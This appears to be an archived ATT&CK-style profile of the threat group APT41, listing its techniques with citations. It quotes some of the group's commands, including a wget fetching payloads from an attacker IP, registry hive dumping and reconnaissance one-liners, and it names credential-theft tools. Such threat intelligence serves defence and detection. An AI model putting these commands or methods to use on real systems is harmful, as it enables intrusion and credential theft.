APT41, Wicked Panda, Brass Typhoon, BARIUM, Group G0096

Archived: 2026-04-05 17:21:17 UTC

Enterprise T1134 Access Token Manipulation

During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.[7]

Enterprise T1087 .001 Account Discovery: Local Account

APT41 used built-in `net` commands to enumerate local administrator groups.[8]

.002 Account Discovery: Domain Account

APT41 used built-in `net` commands to enumerate domain administrator users.[8]

Enterprise T1098 .007 Account Manipulation: Additional Local or Domain Groups

APT41 has added user accounts to the User and Admin groups.[2]

Enterprise T1583 .007 Acquire Infrastructure: Serverless

APT41 DUST used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control.[6]

Enterprise T1595 .002 Active Scanning: Vulnerability Scanning

APT41 used the Acunetix SQL injection vulnerability scanner in target reconnaissance operations, as well as the JexBoss tool to identify vulnerabilities in Java applications.[8]

.003 Active Scanning: Wordlist Scanning

APT41 leverages various tools and frameworks to brute-force directories on web servers.[8]

Enterprise T1071 .001 Application Layer Protocol: Web Protocols

APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.[9]

APT41 DUST used HTTPS for command and control.[6]

During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.[7]

.002 Application Layer Protocol: File Transfer Protocols

APT41 used exploit payloads that initiate download via ftp.[9]

.004 Application Layer Protocol: DNS

APT41 used DNS for C2 communications.[2][3]

Enterprise T1560 .001 Archive Collected Data: Archive via Utility

APT41 created a RAR archive of targeted files for exfiltration.[2] Additionally, APT41 used the makecab.exe utility to both download tools, such as NATBypass, to the victim network and to archive a file for exfiltration.[10]

APT41 DUST used `rar` to compress data downloaded from internal Oracle databases prior to exfiltration.[6]

.003 Archive Collected Data: Archive via Custom Method

During C0017, APT41 hex-encoded PII data prior to exfiltration.[7]

Enterprise T1119 Automated Collection

APT41 DUST used tools such as SQLULDR2 and PINEGROVE to gather local system and database information.[6]

Enterprise T1197 BITS Jobs

APT41 used BITSAdmin to download and install payloads.[9][4]

Enterprise T1547 .001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

APT41 created and modified startup files for persistence.[2][3] APT41 added a registry key in `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` to establish persistence for Cobalt Strike.[9]

Enterprise T1037 Boot or Logon Initialization Scripts

APT41 used a hidden shell script in `/etc/rc.d/init.d` to leverage the `ADORE.XSEC` backdoor and `Adore-NG` rootkit.[1]

Enterprise T1110 Brute Force

APT41 performed password brute-force attacks on the local admin account.[2]

Enterprise T1059 .001 Command and Scripting Interpreter: PowerShell

APT41 leveraged PowerShell to deploy malware families in victims' environments.[2][9]

.003 Command and Scripting Interpreter: Windows Command Shell

APT41 used `cmd.exe /c` to execute commands on remote machines.[2]
APT41 used a batch file to install persistence for the Cobalt Strike BEACON loader.[9]

During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.[7]

.004 Command and Scripting Interpreter: Unix Shell

APT41 used Linux shell commands for system survey and information gathering prior to exploitation of vulnerabilities such as CVE-2019-19871.[9]

.007 Command and Scripting Interpreter: JavaScript

During C0017, APT41 deployed JScript web shells on compromised systems.[7]

Enterprise T1586 .003 Compromise Accounts: Cloud Accounts

APT41 DUST used compromised Google Workspace accounts for command and control.[6]

Enterprise T1136 .001 Create Account: Local Account

APT41 has created user accounts.[2]

Enterprise T1543 .003 Create or Modify System Process: Windows Service

APT41 modified legitimate Windows services to install malware backdoors.[2][3] APT41 created the StorSyncSvc service to provide persistence for Cobalt Strike.[9]

APT41 DUST used Windows Services with names such as `Windows Defend` for persistence of DUSTPAN.[6]

Enterprise T1555 Credentials from Password Stores

APT41 has obtained information about accounts, lists of employees, and plaintext and hashed passwords from databases.[8]

.003 Credentials from Web Browsers

APT41 used BrowserGhost, a tool designed to obtain credentials from browsers, to retrieve information from password stores.[8]

Enterprise T1486 Data Encrypted for Impact

APT41 used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user.[2] APT41 also used Microsoft Bitlocker to encrypt workstations and Jetico’s BestCrypt to encrypt servers.[10]

Enterprise T1213 .003 Data from Information Repositories: Code Repositories

APT41 cloned victim user Git repositories during intrusions.[8]

.006 Data from Information Repositories: Databases

APT41 DUST collected data from victim Oracle databases using SQLULDR2.[6]

Enterprise T1005 Data from Local System

APT41 has uploaded files and data from a compromised host.[3]

During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.[7]

Enterprise T1001 .003 Data Obfuscation: Protocol or Service Impersonation

During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.[7]

Enterprise T1074 .001 Data Staged: Local Data Staging

APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration.[6]

During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.[7]

Enterprise T1030 Data Transfer Size Limits

APT41 transfers post-exploitation files dividing the payload into fixed-size chunks to evade detection.[8]

Enterprise T1140 Deobfuscate/Decode Files or Information

During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.[7]

Enterprise T1484 .001 Domain or Tenant Policy Modification: Group Policy Modification

APT41 used scheduled tasks created via Group Policy Objects (GPOs) to deploy ransomware.[1]

Enterprise T1568 .002 Dynamic Resolution: Domain Generation Algorithms

APT41 has used DGAs to change their C2 servers monthly.[2]

Enterprise T1573 .002 Encrypted Channel: Asymmetric Cryptography

APT41 DUST used HTTPS for command and control.[6]

Enterprise T1546 .008 Event Triggered Execution: Accessibility Features

APT41 leveraged sticky keys to establish persistence.[2]

Enterprise T1480 .001 Execution Guardrails: Environmental Keying

APT41 has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. APT41 has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number.[11]

Enterprise T1048 .003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.[7]

Enterprise T1041 Exfiltration Over C2 Channel

During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.[7]

Enterprise T1567 .002 Exfiltration Over Web Service: Exfiltration to Cloud Storage

APT41 DUST exfiltrated collected information to OneDrive.[6]

Enterprise T1190 Exploit Public-Facing Application

APT41 exploited CVE-2020-10189 against Zoho ManageEngine Desktop Central through unsafe deserialization, and CVE-2019-19781 to compromise Citrix Application Delivery Controllers (ADC) and gateway devices.[9] APT41 leveraged vulnerabilities such as ProxyLogon exploitation or SQL injection for initial access.[8] APT41 exploited CVE-2021-26855 against a vulnerable Microsoft Exchange Server to gain initial access to the victim network.[10]

During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.[7]

Enterprise T1203 Exploitation for Client Execution

APT41 leveraged the follow exploits in their operations: CVE-2012-0158, CVE-2015-1641, CVE-2017-0199, CVE-2017-11882, and CVE-2019-3396.[2]

Enterprise T1133 External Remote Services

APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service.[2]

Enterprise T1008 Fallback Channels

APT41 used the Steam community page as a fallback mechanism for C2.[2]

Enterprise T1083 File and Directory Discovery

APT41 has executed `file /bin/pwd` on exploited victims, perhaps to return architecture related information.[9]

Enterprise T1574 .001 Hijack Execution Flow: DLL

APT41 has used search order hijacking to execute malicious payloads, such as Winnti for Windows.[4] APT41 has also used legitimate executables to perform DLL side-loading of their malware.[2]

APT41 DUST involved the use of DLL search order hijacking to execute DUSTTRAP.[6] APT41 DUST used also DLL side-loading to execute DUSTTRAP via an AhnLab uninstaller.[6]

.006 Hijack Execution Flow: Dynamic Linker Hijacking

APT41 has configured payloads to load via LD_PRELOAD.[4]

Enterprise T1562 .006 Impair Defenses: Indicator Blocking

APT41 developed a custom injector that enables an Event Tracing for Windows (ETW) bypass, making malicious processes invisible to Windows logging.[8]

Enterprise T1656 Impersonation

APT41 impersonated an employee at a video game developer company to send phishing emails.[1]

Enterprise T1070 .001 Indicator Removal: Clear Windows Event Logs

APT41 attempted to remove evidence of some of its activity by clearing Windows security and system events.[2]

.003 Indicator Removal: Clear Command History

APT41 attempted to remove evidence of some of its activity by deleting Bash histories.[2]

.004 Indicator Removal: File Deletion

APT41 deleted files from the system.[2][8]

APT41 DUST deleted various artifacts from victim systems following use.[6]

Enterprise T1105 Ingress Tool Transfer

APT41 used certutil to download additional files.[9][4][3] APT41 downloaded post-exploitation tools such as Cobalt Strike via command shell following initial access.[8] APT41 has uploaded Procdump and NATBypass to a staging directory and has used these tools in follow-on activities.[10]

APT41 DUST involved execution of `certutil.exe` via web shell to download the DUSTPAN dropper.[6]

During C0017, APT41 downloaded malicious payloads onto compromised systems.[7]

Enterprise T1056 .001 Input Capture: Keylogging

APT41 used a keylogger called GEARSHIFT on a target system.[2]

Enterprise T1570 Lateral Tool Transfer

APT41 uses remote shares to move and remotely execute payloads during lateral movemement.[8]

Enterprise T1680 Local Storage Discovery

During C0017, APT41 issued `ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+` commands to find the volume serial number of compromised systems.[7]

Enterprise T1036 .004 Masquerading: Masquerade Task or Service

APT41 has created services to appear as benign system tools.[3]

APT41 DUST disguised DUSTPAN as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`.[6]

During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.[7]

.005 Masquerading: Match Legitimate Resource Name or Location

APT41 attempted to masquerade their files as popular anti-virus software.[2][3]

During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.[7]

Enterprise T1112 Modify Registry

APT41 used a malware variant called GOODLUCK to modify the registry in order to steal credentials.[2][3]

Enterprise T1104 Multi-Stage Channels

APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor.[9]

Enterprise T1599 Network Boundary Bridging

APT41 used `NATBypass` to bypass firewall restrictions and to access compromised systems via RDP.[10]

Enterprise T1046 Network Service Discovery

APT41 used a malware variant called WIDETONE to conduct port scans on specified subnets.[2]

Enterprise T1135 Network Share Discovery

APT41 used the `net share` command as part of network reconnaissance.[2][3]

Enterprise T1027 Obfuscated Files or Information

APT41 used VMProtected binaries in multiple intrusions.[9]

During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.[7]

.002 Software Packing

APT41 uses packers such as Themida to obfuscate malicious files.[8]

During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.[7]

.013 Encrypted/Encoded File

APT41 DUST used encrypted payloads decrypted and executed in memory.[6]

Enterprise T1588 .002 Obtain Capabilities: Tool

APT41 has obtained and used tools such as Mimikatz, pwdump, PowerSploit, and Windows Credential Editor.[2]

For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.[7]

.003 Obtain Capabilities: Code Signing Certificates

APT41 DUST used stolen code signing certificates to sign DUSTTRAP malware and components.[6]

Enterprise T1003 .001 OS Credential Dumping: LSASS Memory

APT41 has used hashdump, Mimikatz, Procdump, and the Windows Credential Editor to dump password hashes from memory and authenticate to other user accounts.[2][3][10]

.002 OS Credential Dumping: Security Account Manager

APT41 extracted user account data from the Security Account Managerr (SAM), making a copy of this database from the registry using the `reg save` command or by exploiting volume shadow copies.[8]

During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.[7]

.003 OS Credential Dumping: NTDS

APT41 used ntdsutil to obtain a copy of the victim environment `ntds.dit` file.[8]

Enterprise T1069 Permission Groups Discovery

APT41 used `net group` commands to enumerate various Windows user groups and permissions.[8]

Enterprise T1566 .001 Phishing: Spearphishing Attachment

APT41 sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.[2]

Enterprise T1542 .003 Pre-OS Boot: Bootkit

APT41 deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.[2]

Enterprise T1055 Process Injection

APT41 malware TIDYELF loaded the main WINTERLOVE component by injecting it into the iexplore.exe process.[2]

Enterprise T1090 Proxy

APT41 used a tool called CLASSFON to covertly proxy network communications.[2]

During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.[7]

Enterprise T1012 Query Registry

APT41 queried registry values to determine items such as configured RDP ports and network configurations.[8]

Enterprise T1021 .001 Remote Services: Remote Desktop Protocol

APT41 used RDP for lateral movement.[2][4] APT41 used NATBypass to expose local RDP ports on compromised systems to the Internet.[10]

.002 Remote Services: SMB/Windows Admin Shares

APT41 has transferred implant files using Windows Admin Shares and the Server Message Block (SMB) protocol, then executes files through Windows Management Instrumentation (WMI).[4][10]

Enterprise T1018 Remote System Discovery

APT41 has used MiPing to discover active systems in the victim network.[10]

Enterprise T1496 .001 Resource Hijacking: Compute Hijacking

APT41 deployed a Monero cryptocurrency mining tool in a victim's environment.[2][1]

Enterprise T1014 Rootkit

APT41 deployed rootkits on Linux systems.[2][4]

Enterprise T1053 .005 Scheduled Task/Job: Scheduled Task

APT41 used a compromised account to create a scheduled task on a system.[2][4]

During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.[7]

Enterprise T1596 .005 Search Open Technical Databases: Scan Databases

APT41 uses the Chinese website fofa.su, similar to the Shodan scanning service, for passive scanning of victims.[8]

APT41 DUST used internet scan data for target development.[6]

Enterprise T1593 .002 Search Open Websites/Domains: Search Engines

APT41 DUST involved use of search engines to research victim servers.[6]

Enterprise T1594 Search Victim-Owned Websites

APT41 DUST involved access of external victim websites for target development.[6]

Enterprise T1505 .003 Server Software Component: Web Shell

APT41 DUST involved use of web shells such as ANTSWORD and BLUEBEAM for persistence.[6]

During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.[7]

Enterprise T1553 .002 Subvert Trust Controls: Code Signing

APT41 leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.[2][3]

APT41 DUST used stolen code signing certificates for DUSTTRAP malware and subsequent payloads.[6]

Enterprise T1195 .002 Supply Chain Compromise: Compromise Software Supply Chain

APT41 gained access to production environments where they could inject malicious code into legitimate, signed files and widely distribute them to end users.[2]

Enterprise T1218 .001 System Binary Proxy Execution: Compiled HTML File

APT41 used compiled HTML (.chm) files for targeting.[2]

.011 System Binary Proxy Execution: Rundll32

APT41 has used rundll32.exe to execute a loader.[4]

Enterprise T1082 System Information Discovery

APT41 uses multiple built-in commands such as `systeminfo` and `net config Workstation` to enumerate victim system basic configuration information.[8]

Enterprise T1016 System Network Configuration Discovery

APT41 collected MAC addresses from victim machines.[2][3]

During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.[7]

Enterprise T1049 System Network Connections Discovery

APT41 has enumerated IP addresses of network resources and used the `netstat` command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions.[2][3]

Enterprise T1033 System Owner/User Discovery

APT41 has executed `whoami` commands, including using the WMIEXEC utility to execute this on remote machines.[2][8]

During C0017, APT41 used `whoami` to gather information from victim machines.[7]

Enterprise T1569 .002 System Services: Service Execution

APT41 used svchost.exe and Net to execute a system service installed to launch a Cobalt Strike BEACON loader. [9][3]

APT41 DUST used Windows services to execute DUSTPAN.[6]

Enterprise T1550 .002 Use Alternate Authentication Material: Pass the Hash

APT41 uses tools such as Mimikatz to enable lateral movement via captured password hashes.[8]

Enterprise T1078 Valid Accounts

APT41 used compromised credentials to log on to other systems.[2][4]

Enterprise T1102 .001 Web Service: Dead Drop Resolver

APT41 used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.[2]

During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.[7]

Enterprise T1047 Windows Management Instrumentation

APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit.[2][3] APT41 has executed files through Windows Management Instrumentation (WMI).[10]
